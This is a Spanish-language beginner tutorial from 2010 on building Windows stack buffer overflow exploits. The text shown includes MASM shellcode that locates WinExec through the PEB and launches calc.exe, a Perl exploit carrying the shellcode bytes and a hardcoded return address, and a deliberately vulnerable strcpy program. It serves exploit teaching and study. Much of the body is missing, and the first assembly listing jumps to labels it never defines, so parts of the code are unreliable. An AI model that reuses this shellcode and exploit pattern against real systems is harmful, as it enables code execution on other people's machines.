Академический Документы
Профессиональный Документы
Культура Документы
|=-----------------------------------------------------------------------=|
|=------=[ pepelux[at]enye-sec[dot]org <http://www.enye-sec.org> ]=-----=|
|=------=[ <http://www.pepelux.org> ]=-----=|
|=-----------------------------------------------------------------------=|
|=----------------------------=[ 29/06/2010 ]-=--------------------------=|
--[ Contenido
1 - Introduccion
2 - Antes de empezar
2.1 - Conocimientos previos
2.2 - Herramientas
3 - Creando un exploit local
3.1 - Creando un programa vulnerable
3.2 - Programando una shellcode
3.3 - Creando un exploit
4 - Creando otro exploit local
4.1 - Programando una shellcode
4.2 - Creando un exploit
4.3 - Solucion de problemas
5 - Haciendo mas estandar nuestro exploit
6 - Creando un exploit remoto
6.1 - Creando un programa vulnerable
6.2 - Programando una shellcode
6.3 - Creando un exploit
7 - Referencias
8 - Agradecimientos
---[ 0 - Prologo
Como se puede ver en la cabecera, el articulo lo escribi a finales de Noviembre
del 2009 ... vamos ya para un año casi ... y el motivo por el que no ha visto
la luz antes era porque en un principio estaba escrito para SET (set-ezine.org)
pero tras varios meses sin saber nada de blackngel he decidido publicarlo en
mi web y en la de eNYe.
---[ 1 - Introduccion
El motivo de escribir este articulo no es otro que transmitir mis experiencias
en la iniciacion de este apasionante mundillo (si, es un texto para newbies :)
Los que han leido algun texto mio sabran que nunca he escrito nada sobre buffer
overflow ni sobre shellcodes porque nunca me dedique a esto. Hace unos meses me
pico el gusanillo y, a pesar de ser un tema muy antiguo y muy visto, me ha
costado mucho encontrar textos y ejemplos validos para iniciados ya que todo se
explica siempre de forma muy superficial y se dan por sabidos muchos aspectos
que luego a los mas novatos nos cuesta de entender.
A quien no le ha pasado que vas siguiendo un articulo con ejemplos y lo que al
autor le funciona no consigues que vaya en tu maquina? o bien no te compila o
luego da algun error que siempre te deja con la lectura a medias o con la
necesidad de leer otros articulos para poder seguir con este.
Si algo he aprendido es que no hay nada estandar y que cada programa vulnerable
requiere un exploit realizado a su medida, al menos en Windows, porque influyen
muchisimos factores tales como sistema operativo, Service Pack, tipo de funcion
vulnerable, forma en la que el programa obtiene los datos, etc.
Como ocurre con todo, hay que leer mucho para sacar unas pocas conclusiones. Yo
recomendaria, antes de nada, leer y entender estos dos documentos, que vienen
muy bien para iniciarse (y ademas en el idioma de Cervantes):
> Exploits y stack overflows en Windows por Rodojos
(http://www.todopsp.com/foros/showthread.php?t=23953)
> Shellcodes en Win32 por RaiSe
(http://www.govannom.org/seguridad/buf_overf/shellcodes_win32_1.txt)
El texto de Rodojos explica muy bien en que consisten los buffer overflow y
como programar una shellcode muy basica. Es ideal para la gente que se esta
iniciando en este tema.
El texto de RaiSe es bastante mas avanzado y da mucha teoria pero con pocos
ejemplos practicos. Bueno, ejemplos hay pero con shellcodes ya creadas.
Lo que pretendo es hacer algo intermedio entre estos dos textos, es decir, no
voy a explicar desde cero que es un buffer overflow ni una shellcode pero si
que voy a crear paso a paso diversas shellcodes, tanto basicas como avanzadas,
en las que iremos viendo los posibles problemas que nos surgen y que en los
textos que he leido no hacen referencia a como solucionarlos.
En definitiva, se trata de comprender las cosas, realizando todo el proceso,
desde la creacion del programa en ASM, pasando por la extraccion de los opcodes,
y llegando a crear el exploit y, siempre verificando que todo funciona bien. Y
en caso contrario, viendo como buscar soluciones. No hay nada como entender lo
que se hace para detectar y solucionar rapidamente un problema :)
Por ultimo añadir que esto solo funcionara en Windows inferiores a XP con SP3
ya que en el SP3 se añade DEP que evita que ejecutemos codigo en la pila y en
Windows Vista, ademas de DEP tenemos posiciones aleatorias de memoria, que
complica aun mas las cosas.
.code
start:
; *****************************************
; Búsqueda de la dirección de msvcrt.system
; *****************************************
call busca_kernel32 ; devuelve en eax la direccion de kernell32.dll
or eax, eax ; si eax es 0 sale
jz salir
mov kernelbase, eax ; guardamos la direccion de kernel32.dll
push offset kernelbase ; direccion de kernel32.dll
push offset nLoadLibrary ; cadena de texto con: LoadLibraryA
push 0Dh ; longitud de LoadLibraryA + 1
call busca_libreria ; buscamos LoadLibraryA dentro de kernel32.dll
or eax, eax ; si eax es 0 sale
jz salir
mov ploadlibrary, eax ; metemos en ploadlibrary la direccion de LoadLi
braryA
push offset nMsvcrt ; introducimos la dll que queremos cargar
call ploadlibrary ; devuelve en eax la direccion de msvcrt.dll
or eax, eax ; si eax es 0 sale
jz salir
mov msvcrtbase, eax ; guardamos la direccion de msvcrt.dll
push offset msvcrtbase
push offset nSystem
push 07h ; longitud de system + 1
call busca_libreria ; Dentro de msvcrt.dll buscamos la funcion syste
m
or eax, eax ; si eax es 0 sale
jz salir
mov psystem, eax ; guardamos la direccion de msvcrt.system
; **********************************
; lanzamos la calculadora de windows
; **********************************
mov ebp, esp
xor dl, dl
sub esp, 0ch ; quitamos a esp 0ch bytes para meter calc.exe
mov byte ptr [ebp-09h], 63h ; 'c'
mov byte ptr [ebp-08h], 61h ; 'a'
mov byte ptr [ebp-07h], 6Ch ; 'l'
mov byte ptr [ebp-06h], 63h ; 'c'
mov byte ptr [ebp-05h], 2Eh ; '.'
mov byte ptr [ebp-04h], 65h ; 'e'
mov byte ptr [ebp-03h], 78h ; 'x'
mov byte ptr [ebp-02h], 65h ; 'e'
mov byte ptr [ebp-01h], dl ; 0x00
lea eax, [ebp-09h] ; cargamos en eax, la direccion que apunta al inicio de
calc.exe
push eax ; guardamos la direccion en la pila
mov ebx, psystem ; metemos en ebx el valor del offset de system
call ebx ; llamamos a system y ejecuta nuestra shellcode
salir:
invoke ExitProcess, 0
; ******************************************
; Buscamos la direccion base de kernel32.dll
; ******************************************
busca_kernel32:
mov eax, fs:[30h] ; puntero al PEB
mov eax, [eax+0ch] ; puntero a la estructura de datos
mov esi, [eax+1ch] ; extrae la primera entrada
lodsd ; avanza a la siguiente
mov eax, [eax+08h] ; obtiene la direccion base y la guarda en eax
ret
; ***************************************************************************
; Buscamos la direccion de una funcion dada la direccion base de una libreria
; ***************************************************************************
busca_funcion:
mov eax, [esp+8] ; funcion apunta al nombre de la funcion (ej: Lo
adLibraryA)
mov funcion, eax
mov eax, [esp+12] ; base apunta a la base de la libreria (ej: kern
el32.dll)
mov eax, [eax]
mov base, eax
mov esi, base ; puntero a la direccion base
add esi, [esi+03Ch] ; puntero a PE signature
mov ecx, [esp+4] ; ecx = longitud del nombre de la funcion
mov edi, libreria ; nombre de la funcion a buscar
mov edx, [esi+078h] ; puntero a la Export table
add edx, base ; sumamos la direccion base
mov ebx, [edx+20h] ; puntero al array AddressOfNames
add ebx, base
xor eax, eax ; indice de AddressOfNames
bucle_funcion: ; buscamos la funcion a partir de la direccion b
ase
mov edi, [ebx]
add edi, base
mov esi, funcion ; puntero al nombre de la funcion
push ecx ; guardamos la longitud de la funcion
repz cmpsb
jnz funcion_no_encontrada
add esp, 4
jmp verificar_funcion
funcion_no_encontrada:
pop ecx ; cogemos la longitud de la funcion
add ebx, 4 ; puntero a la siguiente funcion
inc eax ; incrementamos el numero de funciones revisadas
cmp eax, dword ptr [edx+18h] ; si aun quedan funciones de esa libreria, sigue
buscando
jnz bucle_libreria
verificar_funcion:
cmp eax, dword ptr [edx+18h] ; verificamos si hemos llegado aqui porque se en
contro la funcion
jnz libreria_encontrada ; o porque se llego al final de la tabla
xor eax, eax ; si no se encontro la funcion pone eax a cero y
salta a fin
jmp fin_libreria
funcion_encontrada:
mov esi, dword ptr [edx+24h] ; puntero a la tabla de ordinales
add esi, base ; añadimos la direccion base
mov cx, word ptr [esi+2 * eax] ; cx = numero de la funcion que se ha en
contrado
mov edi, dword ptr [edx+1ch] ; puntero a la tabla de direcciones
add edi, base ; añadimos la direccion base
mov eax, dword ptr [edi+4 * ecx] ; puntero a la funcion encontrada
add eax, base ; añadimos la direccion base
fin_libreria:
ret
end start
--------------------------------
NOTA: en la parte de codigo que busca la direccion base del kernel doy por
supuesto que el sistema es NT, XP, 2000 ... vamos, que no se trata de 9x. Esto
lo hice asi por ahorrar codigo. Si quieres que tambien busque en Windows 9x
debes cambiarla por:
--------------------------------
busca_kernel32:
mov eax, fs:[30h] ; puntero al PEB
mov eax, [eax+0ch] ; puntero a la estructura de datos
test eax, eax
js busca_kernel32_9x ; si el flag S=1 esta con Windows 9x sino con NT, XP, ..
.
busca_kernel32_nt:
mov esi, [eax+1ch] ; extrae la primera entrada
lodsd ; avanza a la siguiente
mov eax, [eax+08h] ; obtiene la direccion base y la guarda en eax
jmp fin_kernel32
busca_kernel32_9x:
mov eax, [eax+34h]
lea eax, [eax+7ch]
mov eax, [eax+3ch] ; obtiene la direccion base y la guarda en eax
fin_kernel32:
ret
--------------------------------
Otro codigo mas completo para localizar la direccion base de kernel32.dll es
el siguiente (extraido de
http://undercon.org/archivo/0x06/UC0x06-Win32Shellcodes.txt):
--------------------------------
busca_kernel32:
mov eax, fs:[30h] ; puntero al PEB
mov eax, [eax+0ch] ; puntero a la estructura de datos
add eax, 0ch ; en eax tengo direccion correcta
mov eax, [eax]
bucle1:
mov ebx, [eax] ; en ebx tengo direccion de next
add eax, 30h ; nombre de la dll en unicode
mov ecx, 00320033h
mov edx, [eax]
cmp [edx+0ch], ecx
jne bucle2
mov ecx, 0064002Eh
cmp [edx+10h], ecx
jne bucle2
sub eax, 30h
add eax, 18h
mov eax, [eax] ; obtiene la direccion base y la guarda en eax
ret
bucle2:
mov eax, ebx
jmp bucle1
--------------------------------
Volviendo al programa completo, en este churro de codigo se puede ver que,
por un lado saca la direccion base de kernel32.dll, como dije antes. Luego
buscamos la direccion de LoadLibraryA y tras cargar msvcrt.dll usamos el mismo
codigo para buscar la funcion system.
Si compilamos el programa y lo ejecutamos, podemos ver que se arranco la
calculadora de Windows, sin necesidad de cargar la libreria msvcrt.dll con
un invoke, como tuvimos que hacer antes.
Partiendo de este codigo ahora tenemos que crear nuestra shellcode y para ello
hay que tener en cuenta algunos factores:
> por un lado, tendremos que sustituir las llamadas iniciales por el codigo,
evitando hacer ningun CALL.
> esto nos hara repetir el mismo codigo de buscar funcion dos veces, ya que
tenemos que buscar dos funciones diferentes (LoadLibraryA y system).
> por otro lado, quitaremos los xor eax, eax y el jz salir ya que vamos a
suponer que siempre va a encontrar la funcion. Asi ahorramos codigo y
evitamos caracacteres que puedan hacer que no funcione nuestra shellcode.
> tambien tenemos que evitar las definiciones en la seccion .data ya que se
guardaria en lugares desconocidos y no podriamos invocarlas.
> Una vez creado el programa, que debera poderse ejecutar al compilar el ASM,
al igual que este, revisaremos los posibles caracteres nulos y demas.
Para que no se extienda mucho este documento, no voy a copiar el codigo ya que
al final la shellcode queda un poco larga, dado que la parte mas larga, la de
buscar la funcion hay que repetirla dos veces. Para el que quiera practicar, lo
podemos dejar como deberes xDDD
Por el contrario vamos a repetir la misma operacion pero ejecutando nuestra
calculadora con WinExec en lugar de con system. El motivo por el que opto por
usar WinExec es porque esta funcion se encuentra en kernel32.dll y asi no
necesito cargar msvcrt.dll y por tanto tampoco necesito LoadLibraryA. De esta
forma el codigo de nuestra shellcode se quedara mucho mas reducido:
> Buscar la direccion de la libreria kernel32.dll
> Dentro de esta libreria buscamos la funcion WinExec
> Conociendo la direccion de WinExec ya podemos lanzar la calculadora
El codigo mas o menos optimizado y revisado con OllyDbg para solventar los
problemas de caracteres invalidos, como vimos en el punto anterior, quedaria
asi:
---- scode.asm -----------------
.386
.model flat, stdcall ;32 bit memory model
option casemap :none ;case sensitive
assume fs:nothing
include windows.inc
include kernel32.inc
includelib masm32.lib
includelib kernel32.lib
.code
start:
; ******************************************
; Buscamos la dirección base de kernel32.dll
; ******************************************
xor eax, eax ; cargamos con eax+30h para evitar caracteres nulos
mov eax, fs:[eax+30h]; puntero al PEB
mov eax, [eax+0ch] ; puntero a la estructura de datos
mov esi, [eax+1ch] ; extrae la primera entrada
lodsd ; avanza a la siguiente
mov eax, [eax+08h] ; obtiene la direccion base y la guarda en eax
push eax ; guardamos en la pila la direccion base de kernel32.dll
; ***********************************************************************
; Buscamos la direccion de WinExec dada la direccion base de kernel32.dll
; ***********************************************************************
busca_funcion:
mov esi, [esp] ; puntero a la direccion base
add esi, [esi+03Ch] ; puntero a PE signature
mov edx, [esi+078h] ; puntero a la Export table
add edx, [esp] ; sumamos la direccion base
mov ecx, edx ; esto evita meter el 20h (un espacio) que nos corta la
shellcode
add ecx, 1fh
inc ecx
mov ebx, [ecx] ; puntero al array AddressOfNames
add ebx, [esp]
xor eax, eax ; indice de AddressOfNames
bucle_funcion: ; buscamos la funcion a partir de la direccion base
mov edi, [ebx]
add edi, [esp]
; como ya no usamos el segmento .data, comparamos directamente el nombre de
; la libreria y para ello la introducimos al reves. Ademas, al ser 7 bytes,
; tenemos que separar en un dword, un word y un byte, para que no nos coja
; ningun caracter nulo
cmp dword ptr [edi], 456E6957h ; EniW = WinE al revés
jnz funcion_no_encontrada
cmp word ptr [edi + 4], 6578h ; ex = xe al revés
jnz funcion_no_encontrada
cmp word ptr [edi + 6], 63h ; c
je funcion_encontrada
funcion_no_encontrada:
nop ; ponemos un NOP aqui porque tras depura
r con el Olly
; vi que usaba \x09 (tabulador) y me rom
pia la shellcode
; de esta forma amplio el salto en un by
te y en lugar de
; 09 pondra 0A
add ebx, 4
inc eax
cmp eax, dword ptr [edx+18h]
jnz bucle_funcion
funcion_encontrada:
mov esi, dword ptr [edx + 24h] ; puntero a la tabla de ordinales
add esi, [esp] ; añadimos la direccion base
xor ecx, ecx
mov cx, word ptr [esi + 2 * eax] ; cx = numero de la funcion que se ha en
contrado
mov edi, dword ptr [edx + 1ch] ; puntero a la tabla de direcciones
add edi, [esp] ; añadimos la direccion base
mov eax, dword ptr [edi + 4 * ecx] ; puntero a la función encontrada
add eax, [esp] ; añadimos la direccion base
; **********************************
; lanzamos la calculadora de Windows
; **********************************
push ebp
mov ebp, esp
xor dl, dl
sub esp, 10h ; dejamos espacio en la pila para meter nuestra cadena
mov byte ptr [ebp-0fh], 63h ; 'c'
mov byte ptr [ebp-0eh], 61h ; 'a'
mov byte ptr [ebp-0dh], 6Ch ; 'l'
mov byte ptr [ebp-0ch], 63h ; 'c'
mov byte ptr [ebp-0bh], 2Eh ; '.'
mov byte ptr [ebp-0ah], 65h ; 'e'
mov byte ptr [ebp-09h], 78h ; 'x'
mov byte ptr [ebp-08h], 65h ; 'e'
mov byte ptr [ebp-07h], dl ; 0x00
lea ecx, [ebp-0fh] ; cargamos la direccion que apunta a nuestra cadena
push eax ; Metemos la dirección de 'calc.exe' en la pila
xor ebx, ebx
mov bl, 5 ; SW_SHOW
push ebx
push ecx ; guardamos la direccion en la pila
call eax ; llamamos a WinExec y ejecuta nuestra shellcode
invoke ExitProcess, 0
end start
--------------------------------
Tras sacar los opcodes con el OllyDbg, el exploit nos quedaria asi:
--------------------------------
#!/usr/bin/perl
$relleno = "A"x76;
$offset = "\xb8\x69\x83\x7c"; # CALL ESP
$shellcode = "\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08"
.
"\x50\x8B\x34\x24\x03\x76\x3C\x8B\x56\x78\x03\x14\x24\x8B\xCA\x83"
.
"\xC1\x1F\x41\x8B\x19\x03\x1C\x24\x33\xC0\x8B\x3B\x03\x3C\x24\x81"
.
"\x3F\x57\x69\x6E\x45\x75\x0F\x66\x81\x7F\x04\x78\x65\x75\x07\x66"
.
"\x83\x7F\x06\x63\x74\x0A\x90\x83\xC3\x04\x40\x3B\x42\x18\x75\xDA"
.
"\x8B\x72\x24\x03\x34\x24\x33\xC9\x66\x8B\x0C\x46\x8B\x7A\x1C\x03"
.
"\x3C\x24\x8B\x04\x8F\x03\x04\x24\x8B\xEC\x32\xD2\x83\xEC\x0C\xC7"
.
"\x45\xF7\x63\x61\x6C\x63\xC7\x45\xFB\x2E\x65\x78\x65\x88\x55\xFF"
.
"\x8D\x4D\xF7\x33\xDB\xB3\x05\x53\x51\x8B\xD8\xFF\xD3";
$buffer = $relleno . $offset . $shellcode;
exec("vuln.exe", $buffer, 0);
--------------------------------
Para probar este exploit vamos a necesitar un programa vulnerable algo mas
grande que el anterior ya que no nos cabe en la pila. Podemos usar, por
ejemplo este, en el que reservamos memoria para un segundo buffer mas grande:
---- vuln.c --------------------
#include <string.h>
#include <stdio.h>
void copiar(char *dato) {
char buffer[64]; // array con 64 bytes de espacio
strcpy (buffer, dato); // posible overflow
return;
}
int main (int argc, char *argv[]) {
char buffer2[1000]; // array con 1000 bytes de espacio
if (argc < 2) {
printf ("Hay que usar: %s, texto\n", argv[0]);
return 0;
}
copiar(argv[1]);
return 0;
}
--------------------------------
Y si todo ha ido bien, se debera ejecutar la calculadora de Windows una vez mas.
---[ 7 - Referencias
La verdad es que podria llenar una parrafada con enlaces de todo lo que me he
leido para poder entender las cosas, pero pondre las lecturas mas interesantes,
para todo lo demas, Google :-P
> El texto de Rodojos, por supuesto :) que aparece en varias webs, una por
ejemplo es esta:
http://www.todopsp.com/foros/showthread.php?t=23953
> El texto de RaiSe, esta en:
http://www.govannom.org/seguridad/buf_overf/shellcodes_win32_1.txt
> Todos los documentos que hay en la web de Ricardo Narvaja y que han aportado
los CracksLatinos y que puedes descargar de:
http://www.ricardonarvaja.info/WEB/OTROS/EXPLOIT/
> 'Understanding Windows Shellcode' por skape, que puedes descargar en:
http://www.nologin.org/Downloads/Papers/win32-shellcode.pdf
> 'Writing Small Shellcode' por Dafydd Stuttard y que puedes descargar en:
http://www.ngssoftware.com/research/papers/WritingSmallShellcode.pdf
> Y por supuesto, el libro 'The shellcoders handbook' que explica como explotar
en diferentes sistemas y, lo mejor de todo, es que esta acualizado.
---[ 8 - Agradecimientos
Quiero agradecer a blackngel y a Ricardo Narvaja toda la ayuda que me han
prestado para aclarar mis innumerables dudas. Tambien enviar un saludo a mi
compañero RaiSe que esta inmerso en la pesca con kayak y se ha olvidado de
sus fans, que esperamos ansiosos otro documento suyo. A ver si le mandais
algun mail animandole, que esta de bajon :)
Y por supuesto, un gran saludo a todos los CrackSLatinoS!!